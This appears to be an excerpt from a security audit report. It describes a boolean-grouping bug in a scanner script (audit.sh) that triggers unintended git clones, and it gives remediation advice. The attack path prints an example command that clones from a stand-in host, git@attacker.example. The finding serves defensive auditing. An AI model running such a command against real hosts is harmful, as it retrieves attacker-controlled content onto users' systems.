T09 · Insecure Skill Coding Practices
- Location
scripts/audit.sh:199- Finding
Incorrect Boolean Grouping Causes Unintended Remote Repository Cloning
- Content
View full analysis
/dev/null; then echo "Error: Failed to clone $TARGET_DIR" rm -rf "$PRE_INSTALL_TMPDIR" exit 1 fi TARGET_DIR="$PRE_INSTALL_TMPDIR/repo" echo "Cloned to temp dir. Scanning WITHOUT running install..." echo "" fi ``` ### Technical Analysis The condition combines `&&` and `||` without explicitly grouping all remote-target checks under the `PRE_INSTALL` requirement. Its effective logic is: ```text (PRE_INSTALL is true AND target begins with HTTP) OR target begins with git@ OR target ends with .git ``` Therefore, a `git@...` target or any target ending in `.git` triggers `git clone` even when the caller did not provide `--pre-install`. This violates the scanner's intended privilege and behavior boundary: ordinary scan mode is expected to inspect a local directory, while network retrieval should occur only when pre-install mode is explicitly selected. The clone operation disables repository hooks through `core.hooksPath=/dev/null`, and the scanner does not install or execute the downloaded repository. This substantially limits code-execution risk, but it does not prevent unintended network communication or retrieval of attacker-controlled content. ### Attack Path 1. An attacker supplies or recommends a target such as: ```text git@attacker.example:malicious/repository.git ``` 2. The user invokes the scanner without `--pre-install`: ```bash bash scripts/audit.sh git@attacker.example:malicio ...[truncated 959 chars]- Remediation
View remediation
/dev/null; then echo "Error: Failed to clone $TARGET_DIR" rm -rf "$PRE_INSTALL_TMPDIR" exit 1 fi TARGET_DIR="$PRE_INSTALL_TMPDIR/repo" fi ``` Additional hardening should include: 1. Reject remote-looking targets when `--pre-install` is absent. 2. Restrict accepted schemes to an explicit allowlist such as HTTPS and SSH. 3. Consider disabling interactive SSH prompts for automated use. 4. Apply clone size and execution-time limits where the environment supports them. 5. Document clearly that pre-install mode performs network access. 6. Add regression tests proving that `git@...` and `*.git` targets do not trigger cloning in ordinary scan mode. ]]>
